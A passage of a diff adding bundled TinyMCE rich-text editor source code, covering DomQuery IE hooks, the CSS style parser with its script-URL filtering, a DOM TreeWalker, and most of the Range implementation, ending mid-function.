+	DomQuery.fn.is = function(selector) {
+		return !!selector && this.filter(selector).length > 0;
+	};
+
+	DomQuery.fn.init.prototype = DomQuery.fn;
+
+	DomQuery.overrideDefaults = function(callback) {
+		var defaults;
+
+		function sub(selector, context) {
+			defaults = defaults || callback();
+
+			if (arguments.length === 0) {
+				selector = defaults.element;
+			}
+
+			if (!context) {
+				context = defaults.context;
+			}
+
+			return new sub.fn.init(selector, context);
+		}
+
+		DomQuery.extend(sub, this);
+
+		return sub;
+	};
+
+	function appendHooks(targetHooks, prop, hooks) {
+		each(hooks, function(name, func) {
+			targetHooks[name] = targetHooks[name] || {};
+			targetHooks[name][prop] = func;
+		});
+	}
+
+	if (Env.ie && Env.ie < 8) {
+		appendHooks(attrHooks, 'get', {
+			maxlength: function(elm) {
+				var value = elm.maxLength;
+
+				if (value === 0x7fffffff) {
+					return undef;
+				}
+
+				return value;
+			},
+
+			size: function(elm) {
+				var value = elm.size;
+
+				if (value === 20) {
+					return undef;
+				}
+
+				return value;
+			},
+
+			'class': function(elm) {
+				return elm.className;
+			},
+
+			style: function(elm) {
+				var value = elm.style.cssText;
+
+				if (value.length === 0) {
+					return undef;
+				}
+
+				return value;
+			}
+		});
+
+		appendHooks(attrHooks, 'set', {
+			'class': function(elm, value) {
+				elm.className = value;
+			},
+
+			style: function(elm, value) {
+				elm.style.cssText = value;
+			}
+		});
+	}
+
+	if (Env.ie && Env.ie < 9) {
+		/*jshint sub:true */
+		/*eslint dot-notation: 0*/
+		cssFix['float'] = 'styleFloat';
+
+		appendHooks(cssHooks, 'set', {
+			opacity: function(elm, value) {
+				var style = elm.style;
+
+				if (value === null || value === '') {
+					style.removeAttribute('filter');
+				} else {
+					style.zoom = 1;
+					style.filter = 'alpha(opacity=' + (value * 100) + ')';
+				}
+			}
+		});
+	}
+
+	DomQuery.attrHooks = attrHooks;
+	DomQuery.cssHooks = cssHooks;
+
+	return DomQuery;
+});
+
+// Included from: js/tinymce/classes/html/Styles.js
+
+/**
+ * Styles.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * This class is used to parse CSS styles it also compresses styles to reduce the output size.
+ *
+ * @example
+ * var Styles = new tinymce.html.Styles({
+ *    url_converter: function(url) {
+ *       return url;
+ *    }
+ * });
+ *
+ * styles = Styles.parse('border: 1px solid red');
+ * styles.color = 'red';
+ *
+ * console.log(new tinymce.html.StyleSerializer().serialize(styles));
+ *
+ * @class tinymce.html.Styles
+ * @version 3.4
+ */
+define("tinymce/html/Styles", [], function() {
+	return function(settings, schema) {
+		/*jshint maxlen:255 */
+		/*eslint max-len:0 */
+		var rgbRegExp = /rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\s*\)/gi,
+			urlOrStrRegExp = /(?:url(?:(?:\(\s*\"([^\"]+)\"\s*\))|(?:\(\s*\'([^\']+)\'\s*\))|(?:\(\s*([^)\s]+)\s*\))))|(?:\'([^\']+)\')|(?:\"([^\"]+)\")/gi,
+			styleRegExp = /\s*([^:]+):\s*([^;]+);?/g,
+			trimRightRegExp = /\s+$/,
+			undef, i, encodingLookup = {}, encodingItems, validStyles, invalidStyles, invisibleChar = '\uFEFF';
+
+		settings = settings || {};
+
+		if (schema) {
+			validStyles = schema.getValidStyles();
+			invalidStyles = schema.getInvalidStyles();
+		}
+
+		encodingItems = ('\\" \\\' \\; \\: ; : ' + invisibleChar).split(' ');
+		for (i = 0; i < encodingItems.length; i++) {
+			encodingLookup[encodingItems[i]] = invisibleChar + i;
+			encodingLookup[invisibleChar + i] = encodingItems[i];
+		}
+
+		function toHex(match, r, g, b) {
+			function hex(val) {
+				val = parseInt(val, 10).toString(16);
+
+				return val.length > 1 ? val : '0' + val; // 0 -> 00
+			}
+
+			return '#' + hex(r) + hex(g) + hex(b);
+		}
+
+		return {
+			/**
+			 * Parses the specified RGB color value and returns a hex version of that color.
+			 *
+			 * @method toHex
+			 * @param {String} color RGB string value like rgb(1,2,3)
+			 * @return {String} Hex version of that RGB value like #FF00FF.
+			 */
+			toHex: function(color) {
+				return color.replace(rgbRegExp, toHex);
+			},
+
+			/**
+			 * Parses the specified style value into an object collection. This parser will also
+			 * merge and remove any redundant items that browsers might have added. It will also convert non hex
+			 * colors to hex values. Urls inside the styles will also be converted to absolute/relative based on settings.
+			 *
+			 * @method parse
+			 * @param {String} css Style value to parse for example: border:1px solid red;.
+			 * @return {Object} Object representation of that style like {border: '1px solid red'}
+			 */
+			parse: function(css) {
+				var styles = {}, matches, name, value, isEncoded, urlConverter = settings.url_converter;
+				var urlConverterScope = settings.url_converter_scope || this;
+
+				function compress(prefix, suffix, noJoin) {
+					var top, right, bottom, left;
+
+					top = styles[prefix + '-top' + suffix];
+					if (!top) {
+						return;
+					}
+
+					right = styles[prefix + '-right' + suffix];
+					if (!right) {
+						return;
+					}
+
+					bottom = styles[prefix + '-bottom' + suffix];
+					if (!bottom) {
+						return;
+					}
+
+					left = styles[prefix + '-left' + suffix];
+					if (!left) {
+						return;
+					}
+
+					var box = [top, right, bottom, left];
+					i = box.length - 1;
+					while (i--) {
+						if (box[i] !== box[i + 1]) {
+							break;
+						}
+					}
+
+					if (i > -1 && noJoin) {
+						return;
+					}
+
+					styles[prefix + suffix] = i == -1 ? box[0] : box.join(' ');
+					delete styles[prefix + '-top' + suffix];
+					delete styles[prefix + '-right' + suffix];
+					delete styles[prefix + '-bottom' + suffix];
+					delete styles[prefix + '-left' + suffix];
+				}
+
+				/**
+				 * Checks if the specific style can be compressed in other words if all border-width are equal.
+				 */
+				function canCompress(key) {
+					var value = styles[key], i;
+
+					if (!value) {
+						return;
+					}
+
+					value = value.split(' ');
+					i = value.length;
+					while (i--) {
+						if (value[i] !== value[0]) {
+							return false;
+						}
+					}
+
+					styles[key] = value[0];
+
+					return true;
+				}
+
+				/**
+				 * Compresses multiple styles into one style.
+				 */
+				function compress2(target, a, b, c) {
+					if (!canCompress(a)) {
+						return;
+					}
+
+					if (!canCompress(b)) {
+						return;
+					}
+
+					if (!canCompress(c)) {
+						return;
+					}
+
+					// Compress
+					styles[target] = styles[a] + ' ' + styles[b] + ' ' + styles[c];
+					delete styles[a];
+					delete styles[b];
+					delete styles[c];
+				}
+
+				// Encodes the specified string by replacing all \" \' ; : with _<num>
+				function encode(str) {
+					isEncoded = true;
+
+					return encodingLookup[str];
+				}
+
+				// Decodes the specified string by replacing all _<num> with it's original value \" \' etc
+				// It will also decode the \" \' if keep_slashes is set to fale or omitted
+				function decode(str, keep_slashes) {
+					if (isEncoded) {
+						str = str.replace(/\uFEFF[0-9]/g, function(str) {
+							return encodingLookup[str];
+						});
+					}
+
+					if (!keep_slashes) {
+						str = str.replace(/\\([\'\";:])/g, "$1");
+					}
+
+					return str;
+				}
+
+				function processUrl(match, url, url2, url3, str, str2) {
+					str = str || str2;
+
+					if (str) {
+						str = decode(str);
+
+						// Force strings into single quote format
+						return "'" + str.replace(/\'/g, "\\'") + "'";
+					}
+
+					url = decode(url || url2 || url3);
+
+					if (!settings.allow_script_urls) {
+						var scriptUrl = url.replace(/[\s\r\n]+/, '');
+
+						if (/(java|vb)script:/i.test(scriptUrl)) {
+							return "";
+						}
+
+						if (!settings.allow_svg_data_urls && /^data:image\/svg/i.test(scriptUrl)) {
+							return "";
+						}
+					}
+
+					// Convert the URL to relative/absolute depending on config
+					if (urlConverter) {
+						url = urlConverter.call(urlConverterScope, url, 'style');
+					}
+
+					// Output new URL format
+					return "url('" + url.replace(/\'/g, "\\'") + "')";
+				}
+
+				if (css) {
+					css = css.replace(/[\u0000-\u001F]/g, '');
+
+					// Encode \" \' % and ; and : inside strings so they don't interfere with the style parsing
+					css = css.replace(/\\[\"\';:\uFEFF]/g, encode).replace(/\"[^\"]+\"|\'[^\']+\'/g, function(str) {
+						return str.replace(/[;:]/g, encode);
+					});
+
+					// Parse styles
+					while ((matches = styleRegExp.exec(css))) {
+						name = matches[1].replace(trimRightRegExp, '').toLowerCase();
+						value = matches[2].replace(trimRightRegExp, '');
+
+						// Decode escaped sequences like \65 -> e
+						/*jshint loopfunc:true*/
+						/*eslint no-loop-func:0 */
+						value = value.replace(/\\[0-9a-f]+/g, function(e) {
+							return String.fromCharCode(parseInt(e.substr(1), 16));
+						});
+
+						if (name && value.length > 0) {
+							// Don't allow behavior name or expression/comments within the values
+							if (!settings.allow_script_urls && (name == "behavior" || /expression\s*\(|\/\*|\*\//.test(value))) {
+								continue;
+							}
+
+							// Opera will produce 700 instead of bold in their style values
+							if (name === 'font-weight' && value === '700') {
+								value = 'bold';
+							} else if (name === 'color' || name === 'background-color') { // Lowercase colors like RED
+								value = value.toLowerCase();
+							}
+
+							// Convert RGB colors to HEX
+							value = value.replace(rgbRegExp, toHex);
+
+							// Convert URLs and force them into url('value') format
+							value = value.replace(urlOrStrRegExp, processUrl);
+							styles[name] = isEncoded ? decode(value, true) : value;
+						}
+
+						styleRegExp.lastIndex = matches.index + matches[0].length;
+					}
+					// Compress the styles to reduce it's size for example IE will expand styles
+					compress("border", "", true);
+					compress("border", "-width");
+					compress("border", "-color");
+					compress("border", "-style");
+					compress("padding", "");
+					compress("margin", "");
+					compress2('border', 'border-width', 'border-style', 'border-color');
+
+					// Remove pointless border, IE produces these
+					if (styles.border === 'medium none') {
+						delete styles.border;
+					}
+
+					// IE 11 will produce a border-image: none when getting the style attribute from <p style="border: 1px solid red"></p>
+					// So lets asume it shouldn't be there
+					if (styles['border-image'] === 'none') {
+						delete styles['border-image'];
+					}
+				}
+
+				return styles;
+			},
+
+			/**
+			 * Serializes the specified style object into a string.
+			 *
+			 * @method serialize
+			 * @param {Object} styles Object to serialize as string for example: {border: '1px solid red'}
+			 * @param {String} elementName Optional element name, if specified only the styles that matches the schema will be serialized.
+			 * @return {String} String representation of the style object for example: border: 1px solid red.
+			 */
+			serialize: function(styles, elementName) {
+				var css = '', name, value;
+
+				function serializeStyles(name) {
+					var styleList, i, l, value;
+
+					styleList = validStyles[name];
+					if (styleList) {
+						for (i = 0, l = styleList.length; i < l; i++) {
+							name = styleList[i];
+							value = styles[name];
+
+							if (value !== undef && value.length > 0) {
+								css += (css.length > 0 ? ' ' : '') + name + ': ' + value + ';';
+							}
+						}
+					}
+				}
+
+				function isValid(name, elementName) {
+					var styleMap;
+
+					styleMap = invalidStyles['*'];
+					if (styleMap && styleMap[name]) {
+						return false;
+					}
+
+					styleMap = invalidStyles[elementName];
+					if (styleMap && styleMap[name]) {
+						return false;
+					}
+
+					return true;
+				}
+
+				// Serialize styles according to schema
+				if (elementName && validStyles) {
+					// Serialize global styles and element specific styles
+					serializeStyles('*');
+					serializeStyles(elementName);
+				} else {
+					// Output the styles in the order they are inside the object
+					for (name in styles) {
+						value = styles[name];
+
+						if (value !== undef && value.length > 0) {
+							if (!invalidStyles || isValid(name, elementName)) {
+								css += (css.length > 0 ? ' ' : '') + name + ': ' + value + ';';
+							}
+						}
+					}
+				}
+
+				return css;
+			}
+		};
+	};
+});
+
+// Included from: js/tinymce/classes/dom/TreeWalker.js
+
+/**
+ * TreeWalker.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+ * TreeWalker class enables you to walk the DOM in a linear manner.
+ *
+ * @class tinymce.dom.TreeWalker
+ * @example
+ * var walker = new tinymce.dom.TreeWalker(startNode);
+ *
+ * do {
+ *     console.log(walker.current());
+ * } while (walker.next());
+ */
+define("tinymce/dom/TreeWalker", [], function() {
+	/**
+	 * Constructs a new TreeWalker instance.
+	 *
+	 * @constructor
+	 * @method TreeWalker
+	 * @param {Node} startNode Node to start walking from.
+	 * @param {node} rootNode Optional root node to never walk out of.
+	 */
+	return function(startNode, rootNode) {
+		var node = startNode;
+
+		function findSibling(node, startName, siblingName, shallow) {
+			var sibling, parent;
+
+			if (node) {
+				// Walk into nodes if it has a start
+				if (!shallow && node[startName]) {
+					return node[startName];
+				}
+
+				// Return the sibling if it has one
+				if (node != rootNode) {
+					sibling = node[siblingName];
+					if (sibling) {
+						return sibling;
+					}
+
+					// Walk up the parents to look for siblings
+					for (parent = node.parentNode; parent && parent != rootNode; parent = parent.parentNode) {
+						sibling = parent[siblingName];
+						if (sibling) {
+							return sibling;
+						}
+					}
+				}
+			}
+		}
+
+		/**
+		 * Returns the current node.
+		 *
+		 * @method current
+		 * @return {Node} Current node where the walker is.
+		 */
+		this.current = function() {
+			return node;
+		};
+
+		/**
+		 * Walks to the next node in tree.
+		 *
+		 * @method next
+		 * @return {Node} Current node where the walker is after moving to the next node.
+		 */
+		this.next = function(shallow) {
+			node = findSibling(node, 'firstChild', 'nextSibling', shallow);
+			return node;
+		};
+
+		/**
+		 * Walks to the previous node in tree.
+		 *
+		 * @method prev
+		 * @return {Node} Current node where the walker is after moving to the previous node.
+		 */
+		this.prev = function(shallow) {
+			node = findSibling(node, 'lastChild', 'previousSibling', shallow);
+			return node;
+		};
+	};
+});
+
+// Included from: js/tinymce/classes/dom/Range.js
+
+/**
+ * Range.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+define("tinymce/dom/Range", [
+	"tinymce/util/Tools"
+], function(Tools) {
+	// Range constructor
+	function Range(dom) {
+		var self = this,
+			doc = dom.doc,
+			EXTRACT = 0,
+			CLONE = 1,
+			DELETE = 2,
+			TRUE = true,
+			FALSE = false,
+			START_OFFSET = 'startOffset',
+			START_CONTAINER = 'startContainer',
+			END_CONTAINER = 'endContainer',
+			END_OFFSET = 'endOffset',
+			extend = Tools.extend,
+			nodeIndex = dom.nodeIndex;
+
+		function createDocumentFragment() {
+			return doc.createDocumentFragment();
+		}
+
+		function setStart(n, o) {
+			_setEndPoint(TRUE, n, o);
+		}
+
+		function setEnd(n, o) {
+			_setEndPoint(FALSE, n, o);
+		}
+
+		function setStartBefore(n) {
+			setStart(n.parentNode, nodeIndex(n));
+		}
+
+		function setStartAfter(n) {
+			setStart(n.parentNode, nodeIndex(n) + 1);
+		}
+
+		function setEndBefore(n) {
+			setEnd(n.parentNode, nodeIndex(n));
+		}
+
+		function setEndAfter(n) {
+			setEnd(n.parentNode, nodeIndex(n) + 1);
+		}
+
+		function collapse(ts) {
+			if (ts) {
+				self[END_CONTAINER] = self[START_CONTAINER];
+				self[END_OFFSET] = self[START_OFFSET];
+			} else {
+				self[START_CONTAINER] = self[END_CONTAINER];
+				self[START_OFFSET] = self[END_OFFSET];
+			}
+
+			self.collapsed = TRUE;
+		}
+
+		function selectNode(n) {
+			setStartBefore(n);
+			setEndAfter(n);
+		}
+
+		function selectNodeContents(n) {
+			setStart(n, 0);
+			setEnd(n, n.nodeType === 1 ? n.childNodes.length : n.nodeValue.length);
+		}
+
+		function compareBoundaryPoints(h, r) {
+			var sc = self[START_CONTAINER], so = self[START_OFFSET], ec = self[END_CONTAINER], eo = self[END_OFFSET],
+			rsc = r.startContainer, rso = r.startOffset, rec = r.endContainer, reo = r.endOffset;
+
+			// Check START_TO_START
+			if (h === 0) {
+				return _compareBoundaryPoints(sc, so, rsc, rso);
+			}
+
+			// Check START_TO_END
+			if (h === 1) {
+				return _compareBoundaryPoints(ec, eo, rsc, rso);
+			}
+
+			// Check END_TO_END
+			if (h === 2) {
+				return _compareBoundaryPoints(ec, eo, rec, reo);
+			}
+
+			// Check END_TO_START
+			if (h === 3) {
+				return _compareBoundaryPoints(sc, so, rec, reo);
+			}
+		}
+
+		function deleteContents() {
+			_traverse(DELETE);
+		}
+
+		function extractContents() {
+			return _traverse(EXTRACT);
+		}
+
+		function cloneContents() {
+			return _traverse(CLONE);
+		}
+
+		function insertNode(n) {
+			var startContainer = this[START_CONTAINER],
+				startOffset = this[START_OFFSET], nn, o;
+
+			// Node is TEXT_NODE or CDATA
+			if ((startContainer.nodeType === 3 || startContainer.nodeType === 4) && startContainer.nodeValue) {
+				if (!startOffset) {
+					// At the start of text
+					startContainer.parentNode.insertBefore(n, startContainer);
+				} else if (startOffset >= startContainer.nodeValue.length) {
+					// At the end of text
+					dom.insertAfter(n, startContainer);
+				} else {
+					// Middle, need to split
+					nn = startContainer.splitText(startOffset);
+					startContainer.parentNode.insertBefore(n, nn);
+				}
+			} else {
+				// Insert element node
+				if (startContainer.childNodes.length > 0) {
+					o = startContainer.childNodes[startOffset];
+				}
+
+				if (o) {
+					startContainer.insertBefore(n, o);
+				} else {
+					if (startContainer.nodeType == 3) {
+						dom.insertAfter(n, startContainer);
+					} else {
+						startContainer.appendChild(n);
+					}
+				}
+			}
+		}
+
+		function surroundContents(n) {
+			var f = self.extractContents();
+
+			self.insertNode(n);
+			n.appendChild(f);
+			self.selectNode(n);
+		}
+
+		function cloneRange() {
+			return extend(new Range(dom), {
+				startContainer: self[START_CONTAINER],
+				startOffset: self[START_OFFSET],
+				endContainer: self[END_CONTAINER],
+				endOffset: self[END_OFFSET],
+				collapsed: self.collapsed,
+				commonAncestorContainer: self.commonAncestorContainer
+			});
+		}
+
+		// Private methods
+
+		function _getSelectedNode(container, offset) {
+			var child;
+
+			if (container.nodeType == 3 /* TEXT_NODE */) {
+				return container;
+			}
+
+			if (offset < 0) {
+				return container;
+			}
+
+			child = container.firstChild;
+			while (child && offset > 0) {
+				--offset;
+				child = child.nextSibling;
+			}
+
+			if (child) {
+				return child;
+			}
+
+			return container;
+		}
+
+		function _isCollapsed() {
+			return (self[START_CONTAINER] == self[END_CONTAINER] && self[START_OFFSET] == self[END_OFFSET]);
+		}
+
+		function _compareBoundaryPoints(containerA, offsetA, containerB, offsetB) {
+			var c, offsetC, n, cmnRoot, childA, childB;
+
+			// In the first case the boundary-points have the same container. A is before B
+			// if its offset is less than the offset of B, A is equal to B if its offset is
+			// equal to the offset of B, and A is after B if its offset is greater than the
+			// offset of B.
+			if (containerA == containerB) {
+				if (offsetA == offsetB) {
+					return 0; // equal
+				}
+
+				if (offsetA < offsetB) {
+					return -1; // before
+				}
+
+				return 1; // after
+			}
+
+			// In the second case a child node C of the container of A is an ancestor
+			// container of B. In this case, A is before B if the offset of A is less than or
+			// equal to the index of the child node C and A is after B otherwise.
+			c = containerB;
+			while (c && c.parentNode != containerA) {
+				c = c.parentNode;
+			}
+
+			if (c) {
+				offsetC = 0;
+				n = containerA.firstChild;
+
+				while (n != c && offsetC < offsetA) {
+					offsetC++;
+					n = n.nextSibling;
+				}
+
+				if (offsetA <= offsetC) {
+					return -1; // before
+				}
+
+				return 1; // after
+			}
+
+			// In the third case a child node C of the container of B is an ancestor container
+			// of A. In this case, A is before B if the index of the child node C is less than
+			// the offset of B and A is after B otherwise.
+			c = containerA;
+			while (c && c.parentNode != containerB) {
+				c = c.parentNode;
+			}
+
+			if (c) {
+				offsetC = 0;
+				n = containerB.firstChild;
+
+				while (n != c && offsetC < offsetB) {
+					offsetC++;
+					n = n.nextSibling;
+				}
+
+				if (offsetC < offsetB) {
+					return -1; // before
+				}
+
+				return 1; // after
+			}
+
+			// In the fourth case, none of three other cases hold: the containers of A and B
+			// are siblings or descendants of sibling nodes. In this case, A is before B if
+			// the container of A is before the container of B in a pre-order traversal of the
+			// Ranges' context tree and A is after B otherwise.
+			cmnRoot = dom.findCommonAncestor(containerA, containerB);
+			childA = containerA;
+
+			while (childA && childA.parentNode != cmnRoot) {
+				childA = childA.parentNode;
+			}
+
+			if (!childA) {
+				childA = cmnRoot;
+			}
+
+			childB = containerB;
+			while (childB && childB.parentNode != cmnRoot) {
+				childB = childB.parentNode;
+			}
+
+			if (!childB) {
+				childB = cmnRoot;
+			}
+
+			if (childA == childB) {
+				return 0; // equal
+			}
+
+			n = cmnRoot.firstChild;
+			while (n) {
+				if (n == childA) {
+					return -1; // before
+				}
+
+				if (n == childB) {
+					return 1; // after
+				}
+
+				n = n.nextSibling;
+			}
+		}
+
+		function _setEndPoint(st, n, o) {
+			var ec, sc;
+
+			if (st) {
+				self[START_CONTAINER] = n;
+				self[START_OFFSET] = o;
+			} else {
+				self[END_CONTAINER] = n;
+				self[END_OFFSET] = o;
+			}
+
+			// If one boundary-point of a Range is set to have a root container
+			// other than the current one for the Range, the Range is collapsed to
+			// the new position. This enforces the restriction that both boundary-
+			// points of a Range must have the same root container.
+			ec = self[END_CONTAINER];
+			while (ec.parentNode) {
+				ec = ec.parentNode;
+			}
+
+			sc = self[START_CONTAINER];
+			while (sc.parentNode) {
+				sc = sc.parentNode;
+			}
+
+			if (sc == ec) {
+				// The start position of a Range is guaranteed to never be after the
+				// end position. To enforce this restriction, if the start is set to
+				// be at a position after the end, the Range is collapsed to that
+				// position.
+				if (_compareBoundaryPoints(self[START_CONTAINER], self[START_OFFSET], self[END_CONTAINER], self[END_OFFSET]) > 0) {
+					self.collapse(st);
+				}
+			} else {
+				self.collapse(st);
+			}
+
+			self.collapsed = _isCollapsed();
+			self.commonAncestorContainer = dom.findCommonAncestor(self[START_CONTAINER], self[END_CONTAINER]);
+		}
+
+		function _traverse(how) {
+			var c, endContainerDepth = 0, startContainerDepth = 0, p, depthDiff, startNode, endNode, sp, ep;
+
+			if (self[START_CONTAINER] == self[END_CONTAINER]) {
+				return _traverseSameContainer(how);
+			}
+
+			for (c = self[END_CONTAINER], p = c.parentNode; p; c = p, p = p.parentNode) {
+				if (p == self[START_CONTAINER]) {
+					return _traverseCommonStartContainer(c, how);
+				}
+
+				++endContainerDepth;
+			}
+
+			for (c = self[START_CONTAINER], p = c.parentNode; p; c = p, p = p.parentNode) {
+				if (p == self[END_CONTAINER]) {
+					return _traverseCommonEndContainer(c, how);
+				}
+
+				++startContainerDepth;
+			}
+
+			depthDiff = startContainerDepth - endContainerDepth;
+
+			startNode = self[START_CONTAINER];
+			while (depthDiff > 0) {
+				startNode = startNode.parentNode;
+				depthDiff--;
+			}
+
+			endNode = self[END_CONTAINER];
+			while (depthDiff < 0) {
+				endNode = endNode.parentNode;
+				depthDiff++;
+			}
+
+			// ascend the ancestor hierarchy until we have a common parent.
+			for (sp = startNode.parentNode, ep = endNode.parentNode; sp != ep; sp = sp.parentNode, ep = ep.parentNode) {
+				startNode = sp;
+				endNode = ep;
+			}
+
+			return _traverseCommonAncestors(startNode, endNode, how);
+		}
+
+		function _traverseSameContainer(how) {
+			var frag, s, sub, n, cnt, sibling, xferNode, start, len;
+
+			if (how != DELETE) {
+				frag = createDocumentFragment();
+			}
+
+			// If selection is empty, just return the fragment
+			if (self[START_OFFSET] == self[END_OFFSET]) {
+				return frag;
+			}
+
+			// Text node needs special case handling
+			if (self[START_CONTAINER].nodeType == 3 /* TEXT_NODE */) {
+				// get the substring
+				s = self[START_CONTAINER].nodeValue;
+				sub = s.substring(self[START_OFFSET], self[END_OFFSET]);
+
+				// set the original text node to its new value
+				if (how != CLONE) {
+					n = self[START_CONTAINER];
+					start = self[START_OFFSET];
+					len = self[END_OFFSET] - self[START_OFFSET];
+
+					if (start === 0 && len >= n.nodeValue.length - 1) {
+						n.parentNode.removeChild(n);
+					} else {
+						n.deleteData(start, len);
+					}
+
+					// Nothing is partially selected, so collapse to start point
+					self.collapse(TRUE);
+				}
+
+				if (how == DELETE) {
+					return;
+				}
+
+				if (sub.length > 0) {
+					frag.appendChild(doc.createTextNode(sub));
+				}
+
+				return frag;
+			}
+
+			// Copy nodes between the start/end offsets.
+			n = _getSelectedNode(self[START_CONTAINER], self[START_OFFSET]);
+			cnt = self[END_OFFSET] - self[START_OFFSET];
+
+			while (n && cnt > 0) {
+				sibling = n.nextSibling;
+				xferNode = _traverseFullySelected(n, how);
+
+				if (frag) {
+					frag.appendChild(xferNode);
+				}
+
+				--cnt;
+				n = sibling;
+			}
+
+			// Nothing is partially selected, so collapse to start point
+			if (how != CLONE) {
+				self.collapse(TRUE);
+			}
+
+			return frag;
+		}
+
+		function _traverseCommonStartContainer(endAncestor, how) {
+			var frag, n, endIdx, cnt, sibling, xferNode;
+
+			if (how != DELETE) {
+				frag = createDocumentFragment();
+			}
+
+			n = _traverseRightBoundary(endAncestor, how);
+
+			if (frag) {
+				frag.appendChild(n);
+			}
+
+			endIdx = nodeIndex(endAncestor);
+			cnt = endIdx - self[START_OFFSET];
+
+			if (cnt <= 0) {
+				// Collapse to just before the endAncestor, which
+				// is partially selected.
+				if (how != CLONE) {
+					self.setEndBefore(endAncestor);
+					self.collapse(FALSE);
+				}
+
+				return frag;
+			}
+
+			n = endAncestor.previousSibling;
+			while (cnt > 0) {
+				sibling = n.previousSibling;
+				xferNode = _traverseFullySelected(n, how);
+
+				if (frag) {
+					frag.insertBefore(xferNode, frag.firstChild);
+				}
+
+				--cnt;
+				n = sibling;
+			}
+
+			// Collapse to just before the endAncestor, which
+			// is partially selected.
+			if (how != CLONE) {
+				self.setEndBefore(endAncestor);
+				self.collapse(FALSE);
+			}
+
+			return frag;
+		}
+
+		function _traverseCommonEndContainer(startAncestor, how) {
+			var frag, startIdx, n, cnt, sibling, xferNode;
+
+			if (how != DELETE) {
+				frag = createDocumentFragment();
+			}
+
+			n = _traverseLeftBoundary(startAncestor, how);
+			if (frag) {
+				frag.appendChild(n);
+			}
+
+			startIdx = nodeIndex(startAncestor);
+			++startIdx; // Because we already traversed it
+
+			cnt = self[END_OFFSET] - startIdx;
+			n = startAncestor.nextSibling;
+			while (n && cnt > 0) {
+				sibling = n.nextSibling;
+				xferNode = _traverseFullySelected(n, how);
+
+				if (frag) {
+					frag.appendChild(xferNode);
+				}
+
+				--cnt;
+				n = sibling;
+			}
+
+			if (how != CLONE) {
+				self.setStartAfter(startAncestor);
+				self.collapse(TRUE);
+			}
+
+			return frag;
+		}
+
+		function _traverseCommonAncestors(startAncestor, endAncestor, how) {
+			var n, frag, startOffset, endOffset, cnt, sibling, nextSibling;
+
+			if (how != DELETE) {
+				frag = createDocumentFragment();
+			}
+
+			n = _traverseLeftBoundary(startAncestor, how);
+			if (frag) {
+				frag.appendChild(n);
+			}
+
+			startOffset = nodeIndex(startAncestor);
+			endOffset = nodeIndex(endAncestor);
+			++startOffset;
+
+			cnt = endOffset - startOffset;
+			sibling = startAncestor.nextSibling;
+
+			while (cnt > 0) {
+				nextSibling = sibling.nextSibling;
+				n = _traverseFullySelected(sibling, how);
+
+				if (frag) {
+					frag.appendChild(n);
+				}
+
+				sibling = nextSibling;
+				--cnt;
+			}
+
+			n = _traverseRightBoundary(endAncestor, how);
+
+			if (frag) {
+				frag.appendChild(n);
+			}
+
+			if (how != CLONE) {
+				self.setStartAfter(startAncestor);
+				self.collapse(TRUE);
+			}
+
+			return frag;
+		}
+
+		function _traverseRightBoundary(root, how) {
+			var next = _getSelectedNode(self[END_CONTAINER], self[END_OFFSET] - 1), parent, clonedParent;
+			var prevSibling, clonedChild, clonedGrandParent, isFullySelected = next != self[END_CONTAINER];
+
+			if (next == root) {
+				return _traverseNode(next, isFullySelected, FALSE, how);
+			}
+
+			parent = next.parentNode;
+			clonedParent = _traverseNode(parent, FALSE, FALSE, how);
+
+			while (parent) {
+				while (next) {
+					prevSibling = next.previousSibling;
+					clonedChild = _traverseNode(next, isFullySelected, FALSE, how);
+
+					if (how != DELETE) {
+						clonedParent.insertBefore(clonedChild, clonedParent.firstChild);
+					}
+
+					isFullySelected = TRUE;
+					next = prevSibling;
+				}
+
+				if (parent == root) {
+					return clonedParent;
+				}
+
+				next = parent.previousSibling;
+				parent = parent.parentNode;
+
+				clonedGrandParent = _traverseNode(parent, FALSE, FALSE, how);
+
+				if (how != DELETE) {
+					clonedGrandParent.appendChild(clonedParent);
+				}
+
+				clonedParent = clonedGrandParent;
+			}
+		}
+
+		function _traverseLeftBoundary(root, how) {
+			var next = _getSelectedNode(self[START_CONTAINER], self[START_OFFSET]), isFullySelected = next != self[START_CONTAINER];
+			var parent, clonedParent, nextSibling, clonedChild, clonedGrandParent;
+
+			if (next == root) {
+				return _traverseNode(next, isFullySelected, TRUE, how);
+			}
+
+			parent = next.parentNode;
+			clonedParent = _traverseNode(parent, FALSE, TRUE, how);
+
+			while (parent) {
+				while (next) {
+					nextSibling = next.nextSibling;
+					clonedChild = _traverseNode(next, isFullySelected, TRUE, how);
+
+					if (how != DELETE) {
+						clonedParent.appendChild(clonedChild);
+					}
+
+					isFullySelected = TRUE;
+					next = nextSibling;
+				}
+
+				if (parent == root) {
+					return clonedParent;
+				}
+
+				next = parent.nextSibling;
+				parent = parent.parentNode;
+
+				clonedGrandParent = _traverseNode(parent, FALSE, TRUE, how);
+
+				if (how != DELETE) {
+					clonedGrandParent.appendChild(clonedParent);
+				}
+
+				clonedParent = clonedGrandParent;
+			}
+		}
+
+		function _traverseNode(n, isFullySelected, isLeft, how) {
+			var txtValue, newNodeValue, oldNodeValue, offset, newNode;
+
+			if (isFullySelected) {
+				return _traverseFullySelected(n, how);
+			}
+
+			if (n.nodeType == 3 /* TEXT_NODE */) {
+				txtValue = n.nodeValue;
+
+				if (isLeft) {
+					offset = self[START_OFFSET];
+					newNodeValue = txtValue.substring(offset);
+					oldNodeValue = txtValue.substring(0, offset);
+				} else {
+					offset = self[END_OFFSET];
+					newNodeValue = txtValue.substring(0, offset);
+					oldNodeValue = txtValue.substring(offset);
+				}
+
+				if (how != CLONE) {
+					n.nodeValue = oldNodeValue;
+				}
+
+				if (how == DELETE) {
+					return;
+				}
+
+				newNode = dom.clone(n, FALSE);
+				newNode.nodeValue = newNodeValue;
+
+				return newNode;
+			}
+
+			if (how == DELETE) {
+				return;
+			}
+
+			return dom.clone(n, FALSE);
+		}
+
+		function _traverseFullySelected(n, how) {
+			if (how != DELETE) {
